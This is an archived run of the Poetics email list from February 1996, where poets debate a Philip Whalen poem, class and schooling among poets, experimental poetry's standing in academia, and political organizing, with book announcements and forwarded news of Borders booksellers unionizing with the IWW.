at Poetry City @ Teachers & Writers on Feb 29th at the Bill Luoma/Simon Pettet reading, 5 Union Square West, 7th Floor, NYC. 6:30 pm.

Bill Luoma

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671. Patrick Foley
Re: Trans Sending
Tue 27 Feb 1996

Tony,

I agree, Whalen's poem resists --- well what exactly does it resist? The term "reticence" used to be used commonly --- the word everyone reached for when faced with Elizabeth Bishop's poetry. (Linda Gregg says something similar about Dickinson.) You want to say Whalen's resistance is not a sort of reticence, I guess. I'll go along with that. Let's say it _is_ different. Neither would I want to insist that this poem is about Whalen's state-of-mind; that was a sort of place-holder in my note. I will even try to go along with the poem not being about anything at all --- which I suspect is the secret handshake on this list. It is an opportunity for the reader to have a linguistic --- is that too narrow? --- experience. I can go along with that too, I guess. But I'm going to have trouble if the poem's language is not, in those circumstances, expected to do everything language does, and that includes reference, boys. What Wittgenstein called how language & the world _fit_. Short of that, we're talking about sound, we're talking about music made with words as sounds, and that is just not how we hear a language we speak.

(There is a difference every poet understands between writing about himself and writing about the thing. When no candidates come to the reader's mind for the poem's object --- Silliman can't think of what the first strophe could be

describing, and the few ideas I've had today I'd have to ponder a while --- it is natural to assume the poet is in his own head, or at least that he is caressing and not grasping the things of the world (Kafka's distinction, and Rilke's too, I think). Hence, I talked as if Whalen was evoking a state-of-mind.)

Alright, no conclusion. I'm not saying I like or dislike or even understand what Philip Whalen has given us. I just don't want to hear a lot of talk about "ontological" this and that, when we could be talking about the poem.

Let me ask you, Tony, what's it all for? Are you that interested in poem's that give you no clue what the poet's feelings, experiences, ideas are? I assume when you say a poem resists, you mean more, you mean resists completely --- or do you subscribe to some aesthetic of difficulty we think of now as modernist? Is a poem a game with words? A philosophical experiment with language? These things are possible, certainly, and they are probably present in all poems to a degree --- sitting down to a blank piece of paper I often get a sort of metaphysical vertigo. But they are not the whole ballgame. I can't say the most interesting thing I ever found in a poem was a couple words in reverse alphabetical order.

Pat Foley
email:[redacted]

↑ Index

672. **Tony Green**
Re: Trans Sending
Tue 27 Feb 1996

Dear Pat Foley,

on Whalen again asking the impossible of me now:
a
+
-
kind of thing

ALL?
it's "all" for? is anything "meant" to be 'for'?

I hear symptoms of distress at something deemed or felt to be missing what's not there to be had. Remember Lichtenstein or Warhol? Rauschenberg's white canvases? Cage? The arts, as arts of expression, underwent something I suppose was interesting to most people in and around 1960. So, I'm not surprised (rather pleased) to have a Whalen 1961 poem quoted here that has a similar ring. And hear it ring the same alarm bells abt --- where's the art gone (HELLLLLLPPPPP)! The strategies needed for listening to this piece of Whalen

that yield pleasure are those of listening to a list, first, of an array that didn't much get into poems, because not symbolic, not in the Romantic canon of highly charged roses, volcanoes, hurdy-gurdy players, brooks ... so working against a genre of lyric poem and that that still works is amazing, but apparently true, or so it appears from this wee conversation. I suppose I should go on and say more about the non-list parts, but I'm still bewildered myself coming back into this Poetics List's conversation and seemingly going back to difficulties of thirty-five years ago. I really must have misssed something since being off-line for two months, a time-warp occurred? Of course I'm interested in that there poem, being of an age to have wanted to write anything as good as that. I love sound-values overwhelming the word-meanings. I cherish any device of that kind that will produce as much disturbance in listeners that believe that what words do is precise sense. But not always in every poem. I remember arguing with my father who used to say how cd anyone like my poems, because they were meaningless? Anyone who liked them and told me so must be a flatterer and a charlatan, because there was nothing to like. There are some curious assumptions thereto based on expectations built on poems written before 1961. Sad thing is new poems require new readings, either that or pshaws of cranky dismissal. Right here and now, off the cuff, a defence of everything from Pop onwards seems too large a task to undertake. But that is what is at issue.

Best wishes

Tony Green,
e-mail: [redacted]

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673. **Keith Tuma**

Re: Rob't Dunc. on "breakdown of the body politic"

Tue 27 Feb 1996

My guess is that Tytell means Ronald Duncan.

Friend of Eliot and EP--wrote some plays and some prose I think. As I dimly recall also a political thug.

Incredible that Tytell would not offer a source for such a quote.

Keith Tuma

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674. Patrick Phillips
trans mitting dead ringers, live recordings
Tue 27 Feb 1996

Is outsider art really?

How does John Coltrane Fit...thing is, he doesn't.

In what class did Whalen pass that test?

I mean institution, er, museum...

[ ]

A pack of L&M's and a shear chaser.

How do you get to Jimmy's house?

Where's Lucy??!!

If Dalton had email he'd know what to do...

↑ Index

675. Thomas Bell
PR, book dist.....and change
Tue 27 Feb 1996

The nun study has received some recent attention here and elsewhere. Another study was published last month that has potentialy greater impact. Cognitive-behavioral therapy physically alters the brain.(this is a replication of earler studies and documented through physical - PET Scan - evidence) Does this mean that poetry can change the way a reader or writer's brain works?

Possibly.

tom bell

On Tue, 27 Feb 1996, Jordan Davis wrote:

> *briefly then:*
> *would it not be a pleasure to gather the public relations/book*
> *distribution/political (and otherwise) organizational talent latent on this*
> *list toward the ends of affecting discussion _outside_ our own ellipse?*
> *that is, Rod's list of political sources is great, but charged with pathos..*
> *why is this [our discussion] a subset of political activity, and not vice versa?*
> *Jd*
> *"that the theory of poetry was the theory of life.."*

↑ Index

676. **Ron Silliman**

Arise ye prisoners of starvation...

Tue 27 Feb 1996

Chris Beach writes: I'm not sure about the "class" difference between G1 and G2, though. Did all that many G1 folks really go to Harvard and Yale? In any case, I'm not sure it makes that much difference any more (at least in terms of getting a job in poetry) whether one went to Harvard and Yale or, say, Buffalo. (It clearly made a much bigger difference in the 1950s or 60s). Anyway, the relationship of class and education is tricky--what was Olson's "class"? (Although he was a Wesleyan and Harvard student). For that matter, what was Berryman's class (certainly not the same as Lowell's, but they ended up in much the same place, institutionally). ----------

Actually, while G/zero or whatever you might call it went heavily to Harvard, G1 (following the Evans carbon dating system here) aka langpo etc was much more apt to have gone to Berkeley: Watten, Armantrout, Melnick, Bromige, Ratcliffe, Scalapino, Shurin, your humble correspondent here, Perelman (much much later), etc. Which, unlike Harvard and Yale, is a public institution, which meant that poor white trash like myself could get in if we could swing it. While some of those folks come from fairly successful parents, others like Rae and myself come from pretty close to the edge of the lumpen proletariat, families looking upward to see the blue collar folks who in the 1950s looked like they might be doin' okay.

But there's an enormous number of elements that go into a category like class, even if one still adopts a static conception of that and ignores the fact that only 11 percent of the US workforce is involved in manufacturing these days. There's class background, class stance, class orientation and lots of struggle around all these all the time. In many senses, a lot of folks whose parents were doctors, teachers, ministers, etc. (which includes LOTS of writers, whatever the aesthetic tendency) -- folks who fall not into the capitalist class but into that in-between professional category -- struggle with their own sense of "privilege." It strikes me that people deal with growing up in a class society much like they do growing up in a racist and sexist one -- either they struggle with it consciously (and constantly) all their lives or they don't. I'm for the folks who struggle, regardless of where they came from.

All best,
Ron

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677. Ron Silliman
Objectionable
Tue 27 Feb 1996

This came to me from Tom Christensen, the executive editor at Mercury House:

On the subject of internet censorship, did you happen to see the item about the new software that blocks out "objectionable" sites? Seems it blocks out the White House's web page because it includes the word "couples."

All best,
Ron

↑ Index

678. Patrick Phillips
seventh inning stretch/new mail address
Tue 27 Feb 1996

Even Dandy Don threw beach balls...

I'm outta the park for a while....tie game 50th inning.

Before I go I should mention that Thad Ziolkowski's _Our Son the Arson_ will be out from what books by the end of March. Looks great!

Selected blurbs:

Thad Ziolkowski's poetry stands firmly on a ledge, at the slippery end of an artifice all but consumed by arson. Or maybe his poetry is that edge. Or the night that beckons. A still falling powder, artfully arranged into lines with ice underneath. But don't look back, or down. The building's all but gone. And the next step's the steep one.

Ben Friedlander

Like Kurt Schwitters before him, Thad Ziolkowski has designed a house out of found objects and fragments, echoes of the language of the law, of patriotism, the news such as we receive it, idioms floating in the air. Through this tableau, this mirror-house, we pass, only to discover that going left takes us right, inside means outside, and in the attic we find what was hidden in the basement. Nothing is to be taken for granted. Nothing is what it so publicly seems or proclaims. Our attention is thereby tested and renewed, our sense of direction challenged. Did I mention that it is a burning house? He set the fire himself.

Michael Palmer

Ziolkowski's poems, propelled by Dickinsonian hymnody, build out of such particulars, as a preposition newly read, a lyric we can almost sing along to without ever before having heard it. Like listening to "rare / live tapes // of, as

well as by, all that happens," one reads here of "the people / who though," and comes to see, as if it had never before been so enacted, the sheer fact of relation that syntax which is the problem in which we float in these poems, that "something / within which something else originates."

A.L Nielsen

If you want a copy/copies send me a message (no choice but backchannel now), or you can order them direct from SPD. Discounts to friends!! Soon a Jennifer Moxley and a Kevin Davies. When the time comes, I'll allow some backchannel mishap or I'll piggy back a subscriber's post.

If anyone would like to, you can reach me at

[redacted]
or
[redacted]

my new address is

Patrick Phillips
PO Box 603430
Providence, RI 02906

Same phone

[redacted]

hasta

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679. Robert Drake
Re: Trans Sending
Wed 28 Feb 1996

You'll notice how easily I withhold what you need,
What you require of me.
I can't imagine what it is, and it doesn't do me any good

*

A terrible mistake: "Dots and squiggles justify
The air and space I occupy"

[frm _on bear's head_, immediate
preceeding "mysteries of 1961"]

↑ Index

680. Patrick Phillips
New Book From Thad Ziolkowski
Wed 28 Feb 1996

I should be a better/responsible editor and really plug the book for Thad's sake...see my previous post for blurbs, or send me a note and I'll give you more information.

Thad Ziolkowski's _Our Son the Arson_
will be out from what books by the end of March. Looks great!

If you want a copy/copies send me a message (no choice but backchannel now), or you can order them direct from SPD. Discounts to friends!! Soon a Jennifer Moxley and a Kevin Davies. When the time comes, I'll allow some backchannel mishap or I'll piggy back a subscriber's post.

If anyone would like to, you can reach me at

[redacted]
or
[redacted]

my new address is
Patrick Phillips
PO Box 603430
Providence, RI 02906

Same phone

[redacted]

My best to everyone

Patrick

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681. Thomas Bell
Arise, found whalen and some other things
Wed 28 Feb 1996

found whalen found antin found

7 : X : 63
For John Lee Hooker

_____

Reading
a
book 30 yrs later is

day Ja Vous

is
picking
Up
poetry
[reading: activism]
33 yrs later

you better not open that door

STAR
BROAD ARROW IMPERIAL SEAL

but maybe thats the problem with the notion of the
avant-garde that it turns itself from a discourse into
a
tradition
whose
members
worry
about
its
decline
in

and
as i continued leafing through the newspaper looking for the present
i

tom bell

↑ Index

682. Gabrielle Welford
(Fwd) How many Republicans...?
Wed 28 Feb 1996

> *How many Republicans does it take to screw in a lightbulb?*
>
> *Four hundred and sixty-two:*
>
> *Twelve to investigate Clinton's involvement in the failure of the old bulb, twenty-three to deregulate the light bulb industry, sixteen to cut funding for alternative lighting R&D, thirty-four to cut the tax rate on light bulbs, fifty-three to design a block grant so the states can change the bulb, forty-one to talk with defense contractors about night-vision gear instead, and two hundred and eighty-three to pass a law making it*

> *illegal to discuss naked bulbs (or screwing anything) on the Internet.*

Ann Chambers Theis
[redacted]

↑ Index

683. **Rod Smith**
Re: dead horses, live theories
Wed 28 Feb 1996

NEW Ziolkowski, Moxley, & Davies YES!

Ron--
Liked yr post on class very much. Two of my heroes, Cage & Oppen, were college drop outs.

Chris B-- As I said, the Harvard thing isn't something I wld overemphasize, however, you asked who among G1 went there -- Bernstein, Hejinian, & Palmer all went there. Possibly the three biggest name language poets (I know I know Michael's not a language poet). Andrews was there as a grad student. & Susan Howe's father taught there, was head of the Eng Dept. for a number of years I believe. Aside from Olson, Ashbery, O'Hara, Creeley was also there during WWII. & Burroghs I think dropped out? Pretty good school I'd say. Any "major poets" go to Princeton? Actually, the question falls somewhere between "privilege" & some kind of odd synchronicity-- Providence & the Bay area being two other places that seem to have harbored more than any reasonably expected share of poetic talent. Actually, a populace flows through the yard. . .

Chris S-- I think the question of why L-poets were more politically radical, at least overtly, than NYS (other than just "sensibility") had to do with what was going on in the universities generally in the seventies/early eighties-- "theory" was taking over, so it was something they engaged & did it quite well I believe. But as I think has been sd here before, it, theory, means something quite different now.

I'm sorry if I seemed too dismissive of the M, Chris. But I think my statement of the general reaction to their first few manifestoes was accurate. I also said I thought a number of the poems they published were good. & I've said I like Pam R's work, 'specially the Burning Deck book. & I also think Lew D's poem in oblek 12 is interesting. I understand concerns abt divisiveness but it shouldn't stop one from stating opinions, should it? OK, maybe some opinions some of the time. . .

Maybe we can't do what the Allen did because they already did it for us, but you can be sure that if we stop for even a short while it wld have to be done all over again. & good point you made abt the beats, someone sd somewhere "they weren't high school drop outs, they were grad school drop outs!"

--Rod

PS-- the term "biggest name" above being based on my perception of who's known, & even occasionally read, outside of their respective communities. Armantrout, Silliman, Scalapino being examples of "big names" that didn't go to Harvard.

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684. **Henry Gould**
how many Republicans
Wed 28 Feb 1996

Plus a few extra to run for President with lightbulbs over their heads to stand for ideas.

I went to my "political get active" meeting last night. Somebody said they were driving in a car & thinking how distant & controlled nature has become in industrial culture; they talked about how Americans are put in a mental box by treating themselves as special. I thought: these are not new or especially great ideas, but maybe they're a faint example of what artists or writers have to contribute to social debate : the idea that we can't live together without imagination - which imagines another future, a sympathetic or compassionate imagination, which creates even the possibility of alternatives. The same person said he felt culture seemed inert, unable to respond to what's happening, and that once the human spirit left religion and entered art - now it's leaving art - where's it going?

We talked a lot about Buchanan & the situation of a demagogue appropriating real issues, somebody said he's making the same mistake, showing the same limits, as populists before him, being divisive, attacking non-white- males & the labor movement & immigrants. How he talks big but is unbelievable even if his ideas were acceptable. Somebody said what if the same things were said by a Jerry Brown none of Buchanan's supporters would listen because the code words would be left out. I thought if the issue is the impoverishment of working people in this society in terms of education, employment, housing & job security - if this is the issue that crosses ethnic & racial lines, and if politicians are talking about complicity of gov't & big business in making that happen - then where is the manifesto that would declare the artist's right to speak as artist to the direction of political decisions - that would lay down the moral spiritual basis for compassionate kind common good society - that would provide some

nuts & bolts ideas for legislation that would push for more economic equity? How bout we come up with a collective set of statements all aimed in that direction - not a hammered-together set piece but a collection of statements? If people want to write such things & put them under a SPECIFIC subject heading I will at least print them off & collect them together. What we do with them after that - any ideas? If someone more versed in computers has a way to store & transmit such things & wants to help, please speak up. How about a big book with a page or two for each contributor, a photo & bio, & an imagined future? Perhaps with writings under specific issue headings. Brief, well-put together statements.

I also worry that this may be a total waste of all our time & energy.Comments? Do we need a website & a cheapo book called HOW MANY REPUBLICANS? p.s. I went to school with Al Franken. I wrote plays he acted in (including a very prophetic one about a film guy who goes to a small town to film "the real America" & throws everybody in a tizzy. He & Tom Davis actually went to a small MN town & tried to DO that in a perverse way - got tossed out for obscenity & defaming the town's reputation). Maybe we could enlist Al in this campaign!! I'm only half kidding. - Henry Gould

↑ Index

685. Michael Boughn
New Olson bio
Wed 28 Feb 1996

I just heard from Ralph Maud that his new Olson biography is finally out: _Charles Olson's Reading: A Biography_ ISBN 0-8093-1995-0, Southern Illinois Univ. Press, 448 pp., 6x9, $44.95.

Mike

↑ Index

686. Daniel Bouchard
today the mid-atlantic. . .tomorrow the world!
Wed 28 Feb 1996

This article is from the web page of Philadelphia's CITY PAPER. Despite knowing many, many booksellers and managers at locations across the country, I have not one juicy rumor to spread about what's going on in the Philadelphia store.

I will keep posting what I find out because I think it's interesting and pertinent to book production and distribution, and ultimately to the interests of this list. Any other information is welcome.

[redacted]

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Unhappy booksellers call on a radical union to get their fair share

By Larissa Comis

Employees at Borders are unhappy with their wages and benefits. Managers have hired a union-busting law firm. Where do the workers turn? To the Wobblies. Founded in 1905 by Big Bill Haywood, the Industrial Workers of the World (aka the IWW, or the Wobblies) is an organization best-known for its industrial sabotage and direct action campaigns. The IWW is gaining in strength in Philadelphia. It recently purchased a new union hall, the Fletcher Center, in North Philadelphia and has offices in University City. Management's response? Managers at Borders are opposed to the unionization and have hired a well-known union-busting law firm out of Pittsburgh to represent the company in negotiations. Bob Helms, a representative of the Philadelphia branch of the national IWW, believes that the involvement of Jackson, Lewis, Schnitzler and Krupman is not a good sign for the labor side of negotiations. "This doesn't bode well... I'm too experienced to be anything but cynical at this time. I've seen union-busters at work and they are sleazebags" says Helms. On the other hand, James Withrow, a union organizer and Borders bookseller, is not so discouraged by the work of the law firm. "Their job so far has been to tell Borders what their legal obligations are, and I think that is fine," says Withrow. Regina Hertzig, a lawyer in the labor department of Freedman and Lorry, is representing the IWW in labor negotiations. She says that she will not draw conclusions about the plans of management according to whom they choose as counsel. Withrow says that employee relations with management are on good terms. "I don't want people to feel that this is an anti-Borders campaign... There's nothing wrong with our management at this store. Borders Book Shops are run by a fairly enlightened group of individuals," says Withrow. However, Withrow is dissatisfied with the conditions for Borders workers in the Center City store and throughout the country. "The real problem is with the wages and benefits within the bookstore industry... Unless other bookstore chains are affected by an effort like this, we're not going to make much more than we do now," says Withrow. He was unwilling to comment about what contact, if any, the Center City employees have had with workers from other stores. Helms says that he is delighted with the decision of the Borders workers to go to Wobbly and offers his full support. "The branch is here in solidarity with the booksellers, but the decisions they make as the booksellers will be made by the people working at the bookstore," says Helms. It is this flexibility that appeals to the Borders workers."The IWW, instead of filling us with what our union's

objectives should be, has instead been there only for advice and support. Their respect for anarchy translates into a decentralized approach," says Withrow. Withrow and his co-workers chose to join the IWW instead of forming their own union. "There's not a booksellers union. We wanted to form one, but we didn't want to be left completely without an affiliation," says Withrow. The experience of the IWW, and the help it can offer the Borders workers in navigating national labor laws, also appealed to the Borders employees. "We picked the IWW to affiliate with because the IWW members have spent so much time thinking about how a union should be run," says Withrow. The majority of the 43 Borders employees who are eligible to join the union signed the IWW membership cards, says Withrow. Despite this broad support, the workers at Borders must still petition the National Labor Relations Board (NLRB) and conduct a silent vote to elect a union to represent them, says Withrow. The management at Borders has the ability to stall the vote by taking issue with the petition, explains Hertzig. For instance, she says that they may claim that there is not commonality among workers. At this point, Hertzig says that they have not found out from management what they think of the petition. If they do take issue, there will be a hearing with the NLRB to decide if and when there will be a silent ballot by the workers. Borders managers were unavailable for comment. Withrow is optimistic that the parties can avoid the Feb. 27 hearing. "There may not even be a hearing because Borders and the union may just agree on the conditions of the election. They are being very fair about this. It could be far worse," says Withrow. If the majority of the Borders workers vote to be represented by the IWW, then, Helms says, "the IWW will have exclusive rights to represent the 43 workers in talks." Although the history of the IWW is steeped in obstructing methods of production to hurt the bosses, Withrow says that right now, such measures are not in the workers' agenda. "In our meetings, the greater portion of the time has been spent talking seriously about keeping and raising Borders' high standards for meeting customers' needs," says Withrow.

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687. **Schuchat**
Princeton Poets
Wed 28 Feb 1996

Rod Smith asks what poets (he says major but what does that mean) went to Princeton:

Lewis MacAdams Jr, John Godfrey, John Koethe
(all at the same time)

does that represent a school?

One should note, also, that Harvard is a very large school. So is Berkeley (and Columbia, for that matter).

Density matters.

↑ Index

688. **Emily Lloyd**
Re: dead classes, living classes, theory?
Wed 28 Feb 1996

Grab bag.

...Which came first, the poet or the alma mater? I've been missing something in this harvard etc. discussion. If we're talking about (economic) class, what's the difference between harvard & princeton (what's the difference between them anyway? I thought the only reason to go to either was to make your parents proud)? While I do think it can (OCCASIONALLY) be an interesting exercise to compare/group poets born of same class, gender, race, orientation, mother, etc., it seems kind of---materialistic? fetishistic? dopey?---to do this by college. And the colleges that keep popping up seem to me...telling, in some way. No mention of the Bowling Green State poets. Or any other un-"canonized" college. (Berkeley having its own kind of sainted symbolism).

...C. Stroffolino: seems to me I've not--yet--made any "yer beating yer ole' boy chest" comments to *anyone* on POETIX (unless the above counts). So when you write: "I wonder if Emily Lloyd, Shaunanne T, etc. will find this male chest beating?"--is it by virtue (or vice) of my being an XX (but not an M or L) that I'm mentioned? Couldn't Henry or Douglas or _Your-Fave-XY-Here_ find it tarzan just as easily? For the record, that was the sentence I objected to. Much as I like seeing my name in print.

...Robert Hass, in a reading last night, mentioned the Pomos a number of times. But not the postmos.

E, a guyzie-type guyzie

↑ Index

689. **Emily Lloyd**
Re: academic poet/ry
Wed 28 Feb 1996

I wonder (really--not being facetious) why the poetry & poets that are least accepted (promoted, hired, what-have-you) by the academe are the ones whose work can rarely be discussed w/o using "academic" language or fully appreciated w/o having a theory background? It seems off to call L=Apo

"outsider" poetry, kind of, don't it? Isn't it, relative to the masses (some cartoon vision of an audience-at-large), more insider than insider? More academe than academe?

conscious of my feminine question marks,
Emily

↑ Index

690. **Mark Wallace**
dead classes, living classes, theory?
Wed 28 Feb 1996

Ron S., Chris S., Rod and others, etc:

I think there's a lot of meeting ground between the various positions about class, poetics theories, etc. that have been on the list since Monday. Ron's right to call me out about a bit of rhetorical overkill (nobody's noticed that's my weakness, I supppose?) on the subject of who gets discussed and why, although to some extent I must have missed the discussion about Steve Evans ideas (I actually only signed on the list about that time), although I remember him posting. I think, as Rod would probably grant, that the relation of the various "class" changes in terms of who's doing what kinds of poetry, etc, result very directly from the social changes that he also mentions. I mean, I don't think it's accidental that people who might end up being interested in experimental poetry aren't going to go to Harvard anymore--the people who did, like Charles Bernstein etc., ran and got chased out of there (both) so fast that it's a a phenomena unlikely to take place again, since probably even those very few young poetics students who MIGHT have a chance to go to Harvard know that if they do, they won't be able to study anything they love. But Chris is right: "rejecting" academia isn't the relevant question for people who are on the verge of being denied access to it anyway.

Still, Chris, while I understand the need for the kind of group bonding you're suggesting, I'm not sure we need to sacrifice critique (even the white hot variety) for that kind of bonding--I respect the Apex editors (o god please NO ONE EVER SAY M POETS AGAIN) without agreeing with them, but I'm even friendly with several of them and you can be damn sure that when it comes to most political, academic, and poetic issues that I'm right beside them--the very fact that we both read "experimental poetries" means that in most social environments in which I move, we'd be social allies. But I do reserve the right to disagree with them--as they have reserved the right to disagree with me--although it's clear that such disagreement is not the issue in, say, an environment like Washington, D.C.--around here we'd all of us--apex, language poets, you and me, etc--be considered pinkos.

But although I also greatly respect Henry Gould's moving forward towards trying to take some political activity with the group of artists he's working with, his position vis a vis the political implications of form frustrate me. On the abstract level he's perhaps right--there's no transcendent, inherent, or "natural" implications of any artistic form, and I COULD be writing villanelles AND be both a poetic and political revolutionary. But Henry's comments simply seem to ignore the ACTUAL political situation of writing, which is quite simply that both academic and poetic production networks operate according to an almost unviolable politics of form, which is to say that people in various literary programs are completely denied access to even the questions Henry himself wants to raise. Try going to most MFA programs in this country and presenting something with ANY level of syntactic oddity and see how far you get. Try GETTING HIRED at a university for teaching formally innovative poetry--there have been about 50-100 full-time poetry creative writing positions advertised in the MLA the last two years, and poets who work with innovative form on any level have been given EXACTLY TWO of those jobs. Not political? And Henry's idea that maybe experimental poetries have been sullied by any contact with funding or academic life seems the worst kind of misplaced romanticism--as if our integrity as poets depends on being despised, impoverished, ignored, or having trust funds so we don't have to be. No way.

mark wallace

↑ Index

691. **Schuchat**

Re: dead classes, living classes, theory?

Wed 28 Feb 1996

You want political poetry, how about Neruda's CANTO GENERAL?

There is a populist/historicist voice, plenty of tradition behind it in America and elsewhere. Rexroth somehow managed to use it for more meditative and philosophical ends, but

however you slice it, it is a very different sense of language from that undertaken by poets designated by any letter of the alphabet.

↑ Index

692. **Charles Bernstein**

New Subscribers

Wed 28 Feb 1996

New subscribers to POETICS:

Bill Smith <[redacted]>

Ryan Johnson <[redacted]>

Marc Murdock <[redacted]>

Emily Lloyd <[redacted]>

Philip Hammond <[redacted]>

Ethan Fugate <[redacted]>

Michael McElligott <[redacted]>

Chris Jackson <[redacted]>

"Tracy S. Ruggles" <[redacted]>

Patrick Schultz <[redacted]>

"Christopher Filkins <filch>" <[redacted]>

Roger Field <[redacted]>

William Vidaver <[redacted]>

"Amittai F. Aviram" <[redacted]>

Lyn Gallacher (03)9626 1636" <[redacted]>

Dan Horne <[redacted]>

Mark Goble <[redacted]>

Carolyn Blythe <[redacted]>

Doris Rita Alfonso <[redacted]>

Jill McCartney <[redacted]>

[redacted]

Susan Vanderborg <[redacted]>

Kim Tedrow <[redacted]>

Jondi Keane <[redacted]>

Patrick Foley <[redacted]>

Mustafa Ziyalan <[redacted]>

Dennis Finnell <[redacted]>

Paul Lord <[redacted]>

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693. **Henry Gould**
Re: dead peg theory
Wed 28 Feb 1996

You want political poetry, how about Mandelstam's ODE TO STALIN? Ultimate irony & double-talk.

Re: Mark Wallace's remarks, i.e.: "Henry's comments seem to ignore the ACTUAL political situation of writing, which is quite simply that both academic and poetic production networks operate accordin g to an almost inviolable politics of form" etc. I say poets will find an audience when they have something worthwhile to say (and even when they don't, as witness some of my endless yapping on this poor network). I live in Providence, which is a special case. Ed Honig is here, poet who started a lot of the Creative Writing Movement back in 60s. Before that time there was no such thing as a "poetic production network" (except the old old boy network). Now it's an industry. The Brown cottage version is BONAFIDE 3rd GENERATION CARD-CARRYING AVANT-GARDE LINGO-LANGO PONGO-PANGO EXPERIMENTALIST, and you better skew your syntax if you want an audience here. All with little cute MFA's glowing over their resumes.

Mark writes: "Henry's idea that maybe experimental poetries have been sullied by any contact with funding or academic life seems the worst kind of misplaced romanticism..." --better believe it, Mark. You gotta get your hands dirty & litter up that library carrel. Remember, that's where Keats wrote his ODE TO SLUMBER (or was it ODE TO TORTURE?) before the grade/$$ came in. --Henry Groteskew

↑ Index

694. **Joe Amato**
Re: dead classes, living classes, theory?
Wed 28 Feb 1996

---

just to say i'm really enjoying the exchange between mark wallace (nice post, mark!), chris stroffolino (ditto chris!), ron silliman (ditto ron!), rod smith (ditto rod!) and anybody i may have missed... i mean, there's disagreement among all of you, but without rancor, far as i can detect... and i'm finding mself learning much from your various insights... class discussions are rarely given this sort of air-play...

i wish there were a way to address what strikes me as a certain (white?) maleness in this conversation... i don't mean to be at all provocative here---women poets have been mentioned, certainly... but my-this post included, it's become a matter of men discussing various poetic histories... it's just that i wonder to

what extent this question of bonding/privilege/class is intermingled with gender issues... and methinks it would be apropos to hear from women on this list, whether they're finding themselves resisting the discussion as it's currently taking shape...

sorry for the interruption in any case... please continue to post away, i'm all ears and eyes...

best to all//

joe

↑ Index

695. **Joe Amato**
Re: dead classes, living classes, theory?
Wed 28 Feb 1996

---

oh yeah---i obviously missed henry gould, sorry henry!... i've really appreciated yr posts re art and politics... and i'm chewing over yr proposal, wondering what all can be done in these parts to address same...

best,

joe

↑ Index

696. **Emily Lloyd**
Re: academic poet/ry
Wed 28 Feb 1996

Daniel Bouchard wrote:
>Emily,
>
>Can you give some examples? I think I know what you're getting at but
>differently. Name a name or two in the not-so-facetious question you pose
>please.
>

Busted. I don't really have any names for you. There's just been a lot of (I think justified) list talk about a general lack of appreciation for experimental (of any letter) poets & poetry in the academe (and the library of congress, and the money magazines, and). And I freely admit that, aside from a positive gut reaction to Stein, before I was "taught" experimental poetry (concepts/theories/poems themselves), I tended to be like whoever's father that was from an earlier post: Why dontcha write pomes ah can understand? (As one teacher put it, "You just haven't been invited to the party yet"). I still have

to read Ron's posts (like the one on Whalen's '61) & others' slowly in order to see the relation between what's being said & the thing it's being said about--and I'm not, technically, stupid. So I'm asking: what's wrong with this picture?

A=need academic background (me, and I suspect most others) TO
B=understand
exp.-lang poetry.
(Whereas I don't think you need it to understand Rita Dove. Or Allen Ginsberg).

But the A-folks apparently don't appreciate the B-folks.
And the B-folks are angry at the A-folks, w/o whom even less
folks would "be able to see the value" in their work.

It is less, I suppose, a question than an observation. But it does seem like a weird (anti)relationship. Symbiosis with a grudge.

Emily

↑ Index

697. **Emily Lloyd**
Re: Adorno
Wed 28 Feb 1996

"I do not doubt the egos of sports stars who discourage newspaper boys from asking questions about the sport."

--E(xtra!Extra!)

Maybe the potential for being bashed, silenced, or "publicly humiliated" keeps some women from joining the list.

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698. **Daniel Bouchard**
Re: dead peg theory -Reply
Wed 28 Feb 1996

Somtimes I forward interesting posts from the meat-flap to my correspondent in Calabria, Tony Door. After sending Henry's along, he asked me to post this response to the list. Tony's post follows.

[redacted]

>>>

been to language poetry--it isn't really "Experimental" {that is to say--it does not use scientific principles of Experiment--& therefore differs from the work of Concrete Poets, or John Cage, Italian Futurists, Jackson Mac Low, & etc. which do..}

been to language poetry--it really isn't in any "Avant Guarde" tradition that I know of--certainly there are some A-V G-D writers whom the CFAP wants to canonize {& ironically be thus ordained by these canonized "ordinals"} but the "programme" is not technically A-V G-D, precisely BECAUSE of its focus on "the canonization." As i understand it, the A-V G-D focuses on the caNNon!!

finally, Henry--you want political poetry, (and ironically?) disjointed syntax, & institutional immobility, may i recomend to you a writer named Wm. Shakespeare, his ripostes attacking the physically handi-capped (Richard 3), blacks (Othello), Native Americans (Tempest), women, (everything), Hebrews, (do i have to name these?) use the "Ultimate irony & double-talk." to show that the powerful white men in charge are there because they aught to be.

Uncle Joe WAS a monster, we all know that, but so were John D. Rockefeller & Henry Ford. Pick on someone bigger than you. That's the real challenge.

Tony Door, Calabria/ITALIA

↑ Index

699. **Henry Gould**

Re: dead peg theory T-Door reply

Wed 28 Feb 1996

Dear T-Door, well, touche, Tony for putting Stalin in his place - far as I know Mandelstam didn't get much flak from either Rockefeller or Ford but I'm sure he would have answered them in stikii if they tried.

And clearly the Brown program has helped you zoom beyond any map I have of the cutting edge of experimental principles! I've read this guy Shakespeare, though - my theory is the plays were actually written by a horse - see the cryptic ironic double-talk remark at close of Richard III - and that's how I feel, too! - "Smokin Joe" Henry

↑ Index

700. **Daniel Bouchard**

Borders Philadelphia Election Date (fwd)

Wed 28 Feb 1996

This is an update on Borders and the IWW forwarded to me from Gab in Hawaii.

[redacted]

Good news from the booksellers' front!

The NLRB hearing went well this morning, and was well attended by nine Borders workers in wobbly regalia, and other Wobblies in wobbly regalia, too. The bargaining unit has been enlarged to include a few workers more than were originally asked for, so that the unit is up to 45 workers. The stipulated election agreement was reached without going into a formal hearing, and we were happy about that. Fellow Worker & GST Fred Chase was a welcome supporter and advisor at the hearing, and was well received by all. Another striking feature of this morning's events was the excellent legal representation of our wonderful union-souled attorney, Regina Hertzig.

If there is a Borders Books & Music near you, have a cup of coffee there some time and mention these facts to the workers, if you get the chance. Don't be shy in any other kind of bookstore, either.

The Philly IWW phone # is: [redacted], Mailbox#1.

Watch for upcoming posts that will be coming directly from the booksellers' organizing committee...

Thanks again to all of you who have been sending in messages of support!

In Solidarity,
Bob Helms X341465
Philadelphia GMB

↑ Index

701. **Charles Alexander**

Re: Rob't Dunc. on "breakdown of the body politic"

Wed 28 Feb 1996

> *Found this sentence in John Tytell, _Ezra Pound: The Solitary Volcano_ (New York: Doubleday, 1987), p. 299, and wonder if anyone knows more about it or has a comment:*
>
> > *Another young poet, Robert Duncan, wrote sustaining certain of Pound's more rabid views, commenting that `minorities of any kind are symptoms like boils, cancers,' signs of the*

> *breakdown of the body politic."*
>
